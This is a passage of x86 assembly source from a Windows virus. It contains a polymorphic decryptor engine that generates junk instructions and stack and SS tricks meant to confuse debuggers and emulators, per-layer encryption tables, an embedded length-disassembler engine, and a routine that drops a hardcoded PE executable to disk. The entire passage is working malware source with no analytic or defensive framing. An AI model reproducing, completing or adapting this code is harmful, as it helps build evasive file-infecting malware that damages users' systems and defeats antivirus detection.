jmp too_long_redo
|
|||
|
|
oki_lenght:
|
|||
|
|
mov byte ptr [ebx-1],al
|
|||
|
|
jmp keep_few_ae
|
|||
|
|
do_jz_easily:
|
|||
|
|
mov al,bh ; jz short to some random location
|
|||
|
|
stosw
|
|||
|
|
keep_few_ae:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
xlat_generation: ; is xlat emulated? anyway, hc garbage :)
|
|||
|
|
shr ah,1
|
|||
|
|
jnc enter_generation
|
|||
|
|
|
|||
|
|
test byte ptr [edx - (offset t_pushed - offset r_used)],01001b
|
|||
|
|
jnz keep_few_ae ; are ebx and eax unused ?
|
|||
|
|
mov al,0bbh ; mov ebx
|
|||
|
|
stosb
|
|||
|
|
push edx
|
|||
|
|
call get_address ; a decent mem addy
|
|||
|
|
stosd
|
|||
|
|
pop edx ; set ebx as used
|
|||
|
|
or byte ptr [edx - (offset t_pushed - offset r_used)],01000b
|
|||
|
|
call rnd_garbage ; and then unset ebx as used
|
|||
|
|
and byte ptr [edx - (offset t_pushed - offset r_used)],(NOT 1000b)
|
|||
|
|
mov al,0d7h ; xlat opcode
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
enter_generation: ; some more funny garbage
|
|||
|
|
mov al,0c8h ; enter
|
|||
|
|
stosb
|
|||
|
|
bswap eax
|
|||
|
|
and al,0111100b ; requested stack
|
|||
|
|
stosb
|
|||
|
|
xor al,al
|
|||
|
|
stosb
|
|||
|
|
stosb
|
|||
|
|
xchg al,byte ptr [edx] ; don't smash our stack
|
|||
|
|
mov ah,byte ptr [edx - (offset t_pushed - offset r_used)] ; no ebp
|
|||
|
|
or byte ptr [edx - (offset t_pushed - offset r_used)],100000b
|
|||
|
|
call rnd_garbage
|
|||
|
|
mov byte ptr [edx],al
|
|||
|
|
mov byte ptr [edx - (offset t_pushed - offset r_used)],ah
|
|||
|
|
mov al,0c9h ; leave
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
ss_play:
|
|||
|
|
; opcodes that modify SS (actually they don't change it, but will
|
|||
|
|
; make life harder for debuggers and some emus hopefully)
|
|||
|
|
shr ah,1
|
|||
|
|
jc with_regs_ssplay
|
|||
|
|
; first way, just push ss and then pop ss later
|
|||
|
|
mov al,016h ; push
|
|||
|
|
stosb
|
|||
|
|
xor ah,ah
|
|||
|
|
xchg ah,byte ptr [edx] ; don't smash our stack
|
|||
|
|
call rnd_garbage
|
|||
|
|
xchg ah,byte ptr [edx]
|
|||
|
|
inc al ; pop
|
|||
|
|
stosb
|
|||
|
|
ret
|
|||
|
|
with_regs_ssplay:
|
|||
|
|
; mov reg,ss and later mov ss,reg
|
|||
|
|
and ah,011b
|
|||
|
|
jnz no_66pfss
|
|||
|
|
mov al,066h ; is oky anyway
|
|||
|
|
stosb
|
|||
|
|
no_66pfss:
|
|||
|
|
call get_register
|
|||
|
|
mov ax,0d08ch ; mov reg,ss
|
|||
|
|
add ah,cl
|
|||
|
|
stosw
|
|||
|
|
xchg eax,ecx
|
|||
|
|
call set_used ; don't mess with that one
|
|||
|
|
call rnd_garbage
|
|||
|
|
xchg eax,ebx
|
|||
|
|
call unset_used
|
|||
|
|
xchg eax,ecx
|
|||
|
|
inc al
|
|||
|
|
inc al ; mov ss,reg
|
|||
|
|
stosw
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
mem_write:
|
|||
|
|
; write a dd somewhere (back where we won't go :) ) and then check
|
|||
|
|
; if the contents are the same after some garbage
|
|||
|
|
cmp byte ptr [edx - (offset t_pushed - offset m_writes)],01h
|
|||
|
|
; don't nest, could work
|
|||
|
|
je exit_mw_r ; on same addy (should be)
|
|||
|
|
; well we could even put this
|
|||
|
|
; away :P
|
|||
|
|
inc byte ptr [edx - (offset t_pushed - offset m_writes)]
|
|||
|
|
call get_random ; get a register
|
|||
|
|
and ah,0111000b
|
|||
|
|
push eax
|
|||
|
|
add ah,05h
|
|||
|
|
mov al,089h
|
|||
|
|
stosw
|
|||
|
|
mov ecx,[edx - (offset t_pushed - offset t_inipnt)]
|
|||
|
|
restart_memsearch:
|
|||
|
|
mov ebx,[edx - (offset t_pushed - offset w_loopbg)]
|
|||
|
|
or ebx,ebx ; not in the loop
|
|||
|
|
jnz looping_alr
|
|||
|
|
cmp byte ptr [edx - (offset t_pushed - offset t_inacall)],01h
|
|||
|
|
; could overwrite ourslv
|
|||
|
|
jne can_proceed_mw
|
|||
|
|
bad_mem:
|
|||
|
|
pop eax
|
|||
|
|
dec edi
|
|||
|
|
dec edi
|
|||
|
|
exit_mw:
|
|||
|
|
dec byte ptr [edx - (offset t_pushed - offset m_writes)]
|
|||
|
|
exit_mw_r:
|
|||
|
|
ret
|
|||
|
|
can_proceed_mw:
|
|||
|
|
mov ebx,edi ; else can do from here down, anyway
|
|||
|
|
; we won't return to it and we are
|
|||
|
|
; sure that layers are not back
|
|||
|
|
looping_alr:
|
|||
|
|
sub ebx,4
|
|||
|
|
cmp ebx,ecx ; is there at least a bit of place?
|
|||
|
|
jbe bad_mem
|
|||
|
|
call get_random
|
|||
|
|
and eax,03ffh
|
|||
|
|
sub ebx,eax
|
|||
|
|
sub ebx,ecx
|
|||
|
|
jc restart_memsearch
|
|||
|
|
add ebx,[edx - (offset t_pushed - offset v_runnin)]
|
|||
|
|
mov eax,ebx
|
|||
|
|
stosd
|
|||
|
|
|
|||
|
|
call get_random ; check what was written or not?
|
|||
|
|
shr al,1 ; to make less visibile maybe ;)
|
|||
|
|
pop eax ; the used reg
|
|||
|
|
jc exit_mw
|
|||
|
|
xchg al,ah
|
|||
|
|
shr al,3
|
|||
|
|
call is_used
|
|||
|
|
pushf
|
|||
|
|
call set_used
|
|||
|
|
call rnd_garbage
|
|||
|
|
popf
|
|||
|
|
push ebx
|
|||
|
|
jnz wasntusedb
|
|||
|
|
mov ebx,eax ; if was used then nuthing, else
|
|||
|
|
call unset_used ; put reusable
|
|||
|
|
wasntusedb:
|
|||
|
|
shl al,3
|
|||
|
|
add al,5
|
|||
|
|
mov ah,03bh ; cmp reg, memval
|
|||
|
|
xchg ah,al
|
|||
|
|
stosw
|
|||
|
|
pop eax
|
|||
|
|
stosd ; the addy
|
|||
|
|
jmp check_okequ
|
|||
|
|
|
|||
|
|
from_stack: ; read/write stuff from stack referencing
|
|||
|
|
; with esp quite often found in windoze code
|
|||
|
|
call get_random ; type of operation
|
|||
|
|
and al,0fh
|
|||
|
|
cmp al,8
|
|||
|
|
jae make_mov
|
|||
|
|
shl al,3
|
|||
|
|
inc al
|
|||
|
|
jmp selected_op
|
|||
|
|
make_mov:
|
|||
|
|
mov al,89h
|
|||
|
|
selected_op:
|
|||
|
|
mov ch,al
|
|||
|
|
bswap eax
|
|||
|
|
mov al,byte ptr [ebp + t_pushed] ; 'our' dd on stack
|
|||
|
|
or al,al
|
|||
|
|
jz cant_write_anyway
|
|||
|
|
|
|||
|
|
cmp byte ptr [ebp + t_inacall],01h
|
|||
|
|
je cant_write_anyway
|
|||
|
|
|
|||
|
|
dec al
|
|||
|
|
mov cl,al
|
|||
|
|
|
|||
|
|
call get_random_al7
|
|||
|
|
cmp al,cl
|
|||
|
|
ja cant_write_anyway ; don't retry, so less writes
|
|||
|
|
mov ah,al
|
|||
|
|
jmp prepare_all
|
|||
|
|
cant_write_anyway:
|
|||
|
|
and ah,0111b
|
|||
|
|
add ch,02h
|
|||
|
|
prepare_all:
|
|||
|
|
mov al,ch
|
|||
|
|
stosb
|
|||
|
|
call get_register
|
|||
|
|
shl cl,3
|
|||
|
|
or ah,ah
|
|||
|
|
jz dont_addesp ; just [esp], no + imm
|
|||
|
|
add cl,40h
|
|||
|
|
dont_addesp:
|
|||
|
|
add cl,04h
|
|||
|
|
xchg al,cl
|
|||
|
|
stosb
|
|||
|
|
mov al,24h
|
|||
|
|
stosb
|
|||
|
|
or ah,ah
|
|||
|
|
jz no_immesp
|
|||
|
|
shl ah,2 ; * 4, dword padded is always used
|
|||
|
|
mov al,ah
|
|||
|
|
stosb
|
|||
|
|
no_immesp:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
; tables for various purposes
|
|||
|
|
garbage_mask equ 1fh
|
|||
|
|
garbage_number equ 14h
|
|||
|
|
|
|||
|
|
garbage_offsets:
|
|||
|
|
dd offset call_subroutines
|
|||
|
|
dd offset gen_one_byters
|
|||
|
|
dd offset mov_registers
|
|||
|
|
dd offset mem_assign
|
|||
|
|
dd offset mem_mathops
|
|||
|
|
dd offset maths_immediate
|
|||
|
|
dd offset maths_immediate_short
|
|||
|
|
dd offset maths_registers
|
|||
|
|
dd offset rotating_imms
|
|||
|
|
dd offset notneg_register
|
|||
|
|
dd offset imm_assign
|
|||
|
|
dd offset inc_dec_reg
|
|||
|
|
dd offset xchg_regs
|
|||
|
|
dd offset test_regs
|
|||
|
|
dd offset temp_save_change
|
|||
|
|
dd offset cdq_jmps_savestack
|
|||
|
|
dd offset diff_movz
|
|||
|
|
dd offset sets_misc
|
|||
|
|
dd offset xadd_cmpxchg
|
|||
|
|
dd offset emu_stuffy
|
|||
|
|
dd offset from_stack
|
|||
|
|
|
|||
|
|
one_byters db 090h,0fch,0fdh,0f8h,0f9h,0f5h,070h,080h
|
|||
|
|
|
|||
|
|
change_jump db 098h,099h,0ebh,0e9h
|
|||
|
|
|
|||
|
|
_math_imm:
|
|||
|
|
dw 008c1h ; ror d[ebx],imm
|
|||
|
|
dw 02881h ; sub d[ebx],imm
|
|||
|
|
dw 03081h ; xor d[ebx],imm
|
|||
|
|
dw 00081h ; add d[ebx],imm
|
|||
|
|
dw 000c1h ; rol d[ebx],imm
|
|||
|
|
_math_key:
|
|||
|
|
dw 008d3h ; ror d[ebx],cl
|
|||
|
|
dw 00029h ; sub d[ebx],eax
|
|||
|
|
dw 00031h ; xor d[ebx],eax
|
|||
|
|
dw 00001h ; add d[ebx],eax
|
|||
|
|
dw 000d3h ; rol d[ebx],cl
|
|||
|
|
|
|||
|
|
; cmp,or,xor,sub,add
|
|||
|
|
chk_counter db 0f8h,0c8h
|
|||
|
|
key_changers db 0e8h,0f0h,0c0h ; xor sub add
|
|||
|
|
db 0c0h,0c8h ; ror rol
|
|||
|
|
db 0d0h ; not
|
|||
|
|
db 040h,048h ; inc dec
|
|||
|
|
|
|||
|
|
krappo_gen:
|
|||
|
|
call get_random ; generate krap bytes
|
|||
|
|
and eax,01fh
|
|||
|
|
jz exit_krappo
|
|||
|
|
xchg eax,ecx
|
|||
|
|
krap_stuffy:
|
|||
|
|
call get_random
|
|||
|
|
stosb
|
|||
|
|
loop krap_stuffy
|
|||
|
|
exit_krappo:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
get_random_al7:
|
|||
|
|
call get_random
|
|||
|
|
and eax,0111b
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
get_random:
|
|||
|
|
push ebx
|
|||
|
|
push edx
|
|||
|
|
|
|||
|
|
db 0b8h ; mov eax,
|
|||
|
|
seed dd 000h ; random seed, must be < im
|
|||
|
|
mov ebx,4096d ; ia
|
|||
|
|
mul ebx
|
|||
|
|
add eax,150889d ; ic
|
|||
|
|
adc edx,0
|
|||
|
|
mov ebx,714025d ; im
|
|||
|
|
push ebx
|
|||
|
|
div ebx
|
|||
|
|
mov dword ptr [seed+ebp],edx
|
|||
|
|
xchg eax,edx
|
|||
|
|
cdq
|
|||
|
|
xor ebx,ebx
|
|||
|
|
dec ebx
|
|||
|
|
mul ebx ; * 2^32 - 1
|
|||
|
|
pop ebx
|
|||
|
|
div ebx ; here we have a 0<=rnd<=2^32
|
|||
|
|
pop edx
|
|||
|
|
pop ebx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
is_used:
|
|||
|
|
; AL register
|
|||
|
|
push eax
|
|||
|
|
mov cl,al
|
|||
|
|
mov al,1
|
|||
|
|
shl al,cl
|
|||
|
|
test byte ptr [r_used+ebp],al
|
|||
|
|
pop eax
|
|||
|
|
; Z = register not used
|
|||
|
|
; NZ = register used
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
set_used:
|
|||
|
|
; AL register
|
|||
|
|
push eax
|
|||
|
|
xor ah,ah
|
|||
|
|
bts word ptr [r_used+ebp],ax
|
|||
|
|
pop eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
unset_used:
|
|||
|
|
; BL register
|
|||
|
|
xor bh,bh
|
|||
|
|
btr word ptr [r_used+ebp],bx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
get_register:
|
|||
|
|
push eax
|
|||
|
|
reget_reg:
|
|||
|
|
call get_random_al7
|
|||
|
|
call is_used
|
|||
|
|
jnz reget_reg ; check we aren't using it
|
|||
|
|
; the is_used will put the reg in cl
|
|||
|
|
pop eax
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
get_address:
|
|||
|
|
push esi
|
|||
|
|
mov ebx,edi
|
|||
|
|
lea esi,[offset v_runnin + ebp]
|
|||
|
|
db 081h,0ebh ; sub ebx,initial_edi
|
|||
|
|
t_inipnt dd 00h ; so we have actualy dec lenght
|
|||
|
|
|
|||
|
|
add ebx,dword ptr [esi - (offset v_runnin - offset v_lenght)]
|
|||
|
|
mov edx,dword ptr [esi]
|
|||
|
|
|
|||
|
|
db 0b1h ; mov cl,
|
|||
|
|
t_memand db 00h ; significant bits present
|
|||
|
|
|
|||
|
|
add edx,ebx
|
|||
|
|
|
|||
|
|
search_offset2:
|
|||
|
|
call get_random
|
|||
|
|
shl eax,cl
|
|||
|
|
shr eax,cl
|
|||
|
|
cmp eax,dword ptr [esi] ; is < starting off of poly?
|
|||
|
|
jb search_offset2
|
|||
|
|
look_foroff2:
|
|||
|
|
cmp eax,edx ; upper border
|
|||
|
|
jbe ok_offset2
|
|||
|
|
sub eax,ebx
|
|||
|
|
jmp look_foroff2
|
|||
|
|
ok_offset2:
|
|||
|
|
pop esi
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
; how much memory does the ETMS need, so you can substract from the lenght
|
|||
|
|
; of the virus on file of course
|
|||
|
|
_mem_space = (offset _mem_data_end - offset _mem_data_start)
|
|||
|
|
|
|||
|
|
; everything down there just in mem, don't save it in your file
|
|||
|
|
_mem_data_start:
|
|||
|
|
|
|||
|
|
r_pointer db 00h ; register used as pointer
|
|||
|
|
r_counter db 00h ; register used as counter
|
|||
|
|
r_regkey db 00h ; register used as key, 20h use
|
|||
|
|
; immediate as key
|
|||
|
|
r_used db 00000000b
|
|||
|
|
; bits meaning 0 0 0 1 0 0 0 0
|
|||
|
|
; E E E E E E E E
|
|||
|
|
; D S B S B D C A
|
|||
|
|
; I I P P X X X X
|
|||
|
|
|
|||
|
|
t_chgpnt db 00h ; changes to be made to pointer
|
|||
|
|
t_chgcnt db 00h ; changes to be made to counter
|
|||
|
|
t_chgkey db 00h ; changes to be made to key register
|
|||
|
|
t_chgmat db 00h ; changes to be made to operation
|
|||
|
|
t_exitjmp db 00h ; 01 has to create exit jmp, 00h no
|
|||
|
|
t_prejmp db 00h ; number of key changes b4 jmp
|
|||
|
|
m_writes db 00h ; already written mem in a loop?
|
|||
|
|
; ne stavit nic tukaj ali menjaj inicializacijo!
|
|||
|
|
t_pntoff dd 00h ; offset added to pointer (00h if not
|
|||
|
|
; added)
|
|||
|
|
t_cntoff dd 00h ; constant to be added to counter
|
|||
|
|
; value
|
|||
|
|
|
|||
|
|
t_fromend db 00h ; 00h from start, else from end
|
|||
|
|
t_countback db 00h ; 01h decrementing, else incrementing
|
|||
|
|
|
|||
|
|
t_pushed db 00h ; pushed dwords
|
|||
|
|
t_maxjmps db 00h ; max jumps
|
|||
|
|
t_inacall db 00h ; into a call or not
|
|||
|
|
db 00h
|
|||
|
|
|
|||
|
|
v_lenght dd 00h ; lenght
|
|||
|
|
v_virusp dd 00h ; pointer to body
|
|||
|
|
v_runnin dd 00h ; offset at which dec will run
|
|||
|
|
|
|||
|
|
w_counter dd 00h ; where counter is assigned - 1
|
|||
|
|
w_loopbg dd 00h ; where loop begins
|
|||
|
|
w_encrypt dd 00h ; pointer on current pos in encryptor
|
|||
|
|
|
|||
|
|
orig_dx dd 00h
|
|||
|
|
t_chkpos dd 00h ; position of the checking jmp
|
|||
|
|
|
|||
|
|
l_space equ (enc_max + 10h)
|
|||
|
|
tl_space equ (6 * l_space)
|
|||
|
|
layer_end dd 00h ; last nr of layer * layer dim
|
|||
|
|
layer_nr dd tl_space ; number of layers (0-6) * layer dim
|
|||
|
|
|
|||
|
|
; data structures for all the layers
|
|||
|
|
; first layer is the last in mem and so on...
|
|||
|
|
enc_space:
|
|||
|
|
dd 00h ; initial key
|
|||
|
|
dd 00h ; counter
|
|||
|
|
dd 00h ; initial pointer
|
|||
|
|
dd 00h ; position of the pointer in dec
|
|||
|
|
db enc_max dup (90h) ; encryptor
|
|||
|
|
|
|||
|
|
dd 4 dup (00h)
|
|||
|
|
db enc_max dup (90h)
|
|||
|
|
|
|||
|
|
dd 4 dup (00h)
|
|||
|
|
db enc_max dup (90h)
|
|||
|
|
|
|||
|
|
dd 4 dup (00h)
|
|||
|
|
db enc_max dup (90h)
|
|||
|
|
|
|||
|
|
dd 4 dup (00h)
|
|||
|
|
db enc_max dup (90h)
|
|||
|
|
|
|||
|
|
dd 4 dup (00h)
|
|||
|
|
db enc_max dup (90h)
|
|||
|
|
|
|||
|
|
dd 4 dup (00h)
|
|||
|
|
db enc_max dup (90h)
|
|||
|
|
_mem_data_end:
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
; LDE32BIN.INC -- Length-Disassembler Engine //32-bit
|
|||
|
|
; 1.06
|
|||
|
|
; generated file. do not edit
|
|||
|
|
disasm_init:
|
|||
|
|
db 060h,08Bh,07Ch,024h,024h,0FCh,033h,0C0h
|
|||
|
|
db 050h,050h,050h,068h,000h,0A8h,0AAh,002h
|
|||
|
|
db 068h,07Fh,068h,0FFh,03Fh,068h,0A0h,0DEh
|
|||
|
|
db 0E6h,0FFh,068h,0FFh,0FFh,0D5h,0DBh,068h
|
|||
|
|
db 0AAh,0AAh,0FEh,0FFh,068h,0AAh,0AAh,0AAh
|
|||
|
|
db 0AAh,068h,000h,000h,0AAh,0AAh,050h,050h
|
|||
|
|
db 050h,050h,050h,050h,068h,054h,001h,000h
|
|||
|
|
db 000h,068h,055h,0F5h,0FFh,041h,068h,0AAh
|
|||
|
|
db 0DDh,0DEh,055h,068h,011h,051h,095h,019h
|
|||
|
|
db 068h,0FFh,01Fh,011h,011h,068h,0AAh,0FFh
|
|||
|
|
db 011h,0FAh,068h,096h,0CFh,060h,08Eh,068h
|
|||
|
|
db 0AAh,0D6h,072h,0FCh,068h,088h,0AAh,0AAh
|
|||
|
|
db 0AAh,068h,0D5h,088h,088h,088h,068h,09Bh
|
|||
|
|
db 055h,08Dh,052h,068h,053h,0D5h,06Ch,036h
|
|||
|
|
db 068h,0FFh,055h,055h,035h,068h,0F9h,0D6h
|
|||
|
|
db 0FEh,0FFh,068h,088h,088h,088h,068h,068h
|
|||
|
|
db 088h,088h,088h,088h,068h,0CAh,047h,053h
|
|||
|
|
db 08Dh,068h,0DFh,07Bh,0C6h,0DCh,068h,0AAh
|
|||
|
|
db 0AAh,0AAh,0AAh,068h,0AAh,0AAh,0AAh,0AAh
|
|||
|
|
db 068h,0FDh,04Fh,0A9h,0ABh,068h,0EAh,0FEh
|
|||
|
|
db 0A7h,0D4h,068h,029h,075h,0FFh,053h,068h
|
|||
|
|
db 0FEh,0A7h,0A4h,0FFh,068h,04Ah,0FAh,09Fh
|
|||
|
|
db 092h,068h,0FFh,029h,0E9h,07Fh,0B9h,000h
|
|||
|
|
db 002h,000h,000h,033h,0DBh,033h,0C0h,0E8h
|
|||
|
|
db 014h,000h,000h,000h,0ABh,0E2h,0F6h,061h
|
|||
|
|
db 0C3h,00Bh,0DBh,075h,007h,05Dh,05Eh,05Ah
|
|||
|
|
db 056h,055h,0B3h,020h,04Bh,0D1h,0EAh,0C3h
|
|||
|
|
db 0E8h,0ECh,0FFh,0FFh,0FFh,00Fh,083h,07Fh
|
|||
|
|
db 000h,000h,000h,0E8h,0E1h,0FFh,0FFh,0FFh
|
|||
|
|
db 073h,003h,0B4h,040h,0C3h,0E8h,0D7h,0FFh
|
|||
|
|
db 0FFh,0FFh,072h,057h,0E8h,0D0h,0FFh,0FFh
|
|||
|
|
db 0FFh,073h,04Dh,0E8h,0C9h,0FFh,0FFh,0FFh
|
|||
|
|
db 073h,043h,0E8h,0C2h,0FFh,0FFh,0FFh,072h
|
|||
|
|
db 025h,0E8h,0BBh,0FFh,0FFh,0FFh,073h,003h
|
|||
|
|
db 0B0h,020h,0C3h,0E8h,0B1h,0FFh,0FFh,0FFh
|
|||
|
|
db 073h,005h,066h,0B8h,002h,020h,0C3h,0E8h
|
|||
|
|
db 0A5h,0FFh,0FFh,0FFh,073h,005h,066h,0B8h
|
|||
|
|
db 008h,010h,0C3h,0B4h,003h,0C3h,0E8h,096h
|
|||
|
|
db 0FFh,0FFh,0FFh,073h,003h,0B4h,060h,0C3h
|
|||
|
|
db 0E8h,08Ch,0FFh,0FFh,0FFh,073h,003h,0B0h
|
|||
|
|
db 018h,0C3h,0B4h,002h,0C3h,0B4h,080h,0C3h
|
|||
|
|
db 0B4h,001h,0C3h,0E8h,079h,0FFh,0FFh,0FFh
|
|||
|
|
db 073h,00Dh,0E8h,072h,0FFh,0FFh,0FFh,073h
|
|||
|
|
db 003h,0B0h,008h,0C3h,0B4h,041h,0C3h,0B4h
|
|||
|
|
db 020h,0C3h,0E8h,062h,0FFh,0FFh,0FFh,014h
|
|||
|
|
db 000h,048h,0C3h
|
|||
|
|
disasm_main:
|
|||
|
|
db 060h,08Bh,074h,024h,024h,08Bh,04Ch,024h
|
|||
|
|
db 028h,033h,0D2h,033h,0C0h,080h,0E2h,0F7h
|
|||
|
|
db 08Ah,001h,041h,00Bh,014h,086h,0F6h,0C2h
|
|||
|
|
db 008h,075h,0F2h,03Ch,0F6h,074h,036h,03Ch
|
|||
|
|
db 0F7h,074h,032h,03Ch,0CDh,074h,03Bh,03Ch
|
|||
|
|
db 00Fh,074h,044h,0F6h,0C6h,080h,075h,052h
|
|||
|
|
db 0F6h,0C6h,040h,075h,073h,0F6h,0C2h,020h
|
|||
|
|
db 075h,054h,0F6h,0C6h,020h,075h,05Ch,08Bh
|
|||
|
|
db 0C1h,02Bh,044h,024h,028h,081h,0E2h,007h
|
|||
|
|
db 007h,000h,000h,002h,0C2h,002h,0C6h,089h
|
|||
|
|
db 044h,024h,01Ch,061h,0C3h,080h,0CEh,040h
|
|||
|
|
db 0F6h,001h,038h,075h,0CEh,080h,0CEh,080h
|
|||
|
|
db 0EBh,0C9h,080h,0CEh,001h,080h,039h,020h
|
|||
|
|
db 075h,0C1h,080h,0CEh,004h,0EBh,0BCh,08Ah
|
|||
|
|
db 001h,041h,00Bh,094h,086h,000h,004h,000h
|
|||
|
|
db 000h,083h,0FAh,0FFh,075h,0ADh,08Bh,0C2h
|
|||
|
|
db 0EBh,0CDh,080h,0F6h,020h,0A8h,001h,075h
|
|||
|
|
db 0A7h,080h,0F6h,021h,0EBh,0A2h,080h,0F2h
|
|||
|
|
db 002h,0F6h,0C2h,010h,075h,0A4h,080h,0F2h
|
|||
|
|
db 006h,0EBh,09Fh,080h,0F6h,002h,0F6h,0C6h
|
|||
|
|
db 010h,075h,09Ch,080h,0F6h,006h,0EBh,097h
|
|||
|
|
db 08Ah,001h,041h,08Ah,0E0h,066h,025h,007h
|
|||
|
|
db 0C0h,080h,0FCh,0C0h,00Fh,084h,07Bh,0FFh
|
|||
|
|
db 0FFh,0FFh,0F6h,0C2h,010h,075h,02Dh,03Ch
|
|||
|
|
db 004h,075h,005h,08Ah,001h,041h,024h,007h
|
|||
|
|
db 080h,0FCh,040h,074h,017h,080h,0FCh,080h
|
|||
|
|
db 074h,00Ah,066h,03Dh,005h,000h,00Fh,085h
|
|||
|
|
db 059h,0FFh,0FFh,0FFh,080h,0CAh,004h,0E9h
|
|||
|
|
db 051h,0FFh,0FFh,0FFh,080h,0CAh,001h,0E9h
|
|||
|
|
db 049h,0FFh,0FFh,0FFh,066h,03Dh,006h,000h
|
|||
|
|
db 074h,00Eh,080h,0FCh,040h,074h,0EDh,080h
|
|||
|
|
db 0FCh,080h,00Fh,085h,035h,0FFh,0FFh,0FFh
|
|||
|
|
db 080h,0CAh,002h,0E9h,02Dh,0FFh,0FFh,0FFh
|
|||
|
|
|
|||
|
|
|
|||
|
|
drop_gen:
|
|||
|
|
; edx - path
|
|||
|
|
push 0 edx
|
|||
|
|
call [ebp._lcreat]
|
|||
|
|
cmp eax, -1
|
|||
|
|
jz __2
|
|||
|
|
xchg eax, ebx
|
|||
|
|
call __1
|
|||
|
|
db 04Dh,05Ah,050h,000h,002h,000h,000h,000h,004h,000h,00Fh,000h,0FFh,0FFh
|
|||
|
|
db 000h,000h,0B8h,000h,000h,000h,000h,000h,000h,000h,040h,000h,01Ah,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,001h,000h,000h,0BAh,010h,000h,00Eh,01Fh,0B4h
|
|||
|
|
db 009h,0CDh,021h,0B8h,001h,04Ch,0CDh,021h,090h,090h,054h,068h,069h,073h
|
|||
|
|
db 020h,070h,072h,06Fh,067h,072h,061h,06Dh,020h,06Dh,075h,073h,074h,020h
|
|||
|
|
db 062h,065h,020h,072h,075h,06Eh,020h,075h,06Eh,064h,065h,072h,020h,057h
|
|||
|
|
db 069h,06Eh,033h,032h,00Dh,00Ah,024h,037h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,050h,045h,000h,000h,04Ch,001h,003h,000h,04Fh,02Ch
|
|||
|
|
db 047h,069h,000h,000h,000h,000h,000h,000h,000h,000h,0E0h,000h,08Fh,083h
|
|||
|
|
db 00Bh,001h,002h,019h,000h,002h,000h,000h,000h,004h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,010h,000h,000h,000h,010h,000h,000h,000h,020h,000h,000h
|
|||
|
|
db 000h,000h,040h,000h,000h,010h,000h,000h,000h,002h,000h,000h,001h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,003h,000h,00Ah,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,040h,000h,000h,000h,004h,000h,000h,000h,000h,000h,000h,002h,000h
|
|||
|
|
db 000h,000h,000h,000h,010h,000h,000h,020h,000h,000h,000h,000h,010h,000h
|
|||
|
|
db 000h,010h,000h,000h,000h,000h,000h,000h,010h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,030h,000h,000h,054h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 043h,04Fh,044h,045h,000h,000h,000h,000h,000h,010h,000h,000h,000h,010h
|
|||
|
|
db 000h,000h,000h,002h,000h,000h,000h,006h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,020h,000h,000h,060h,044h,041h
|
|||
|
|
db 054h,041h,000h,000h,000h,000h,000h,010h,000h,000h,000h,020h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,008h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,000h,000h,040h,000h,000h,0C0h,02Eh,069h,064h,061h
|
|||
|
|
db 074h,061h,000h,000h,000h,010h,000h,000h,000h,030h,000h,000h,000h,002h
|
|||
|
|
db 000h,000h,000h,008h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
|||
|
|
db 000h,000h,000h,000h,040h,000h,000h,0C0h,000h,000h,000h,000h,000h,000h
|
|||
|
|
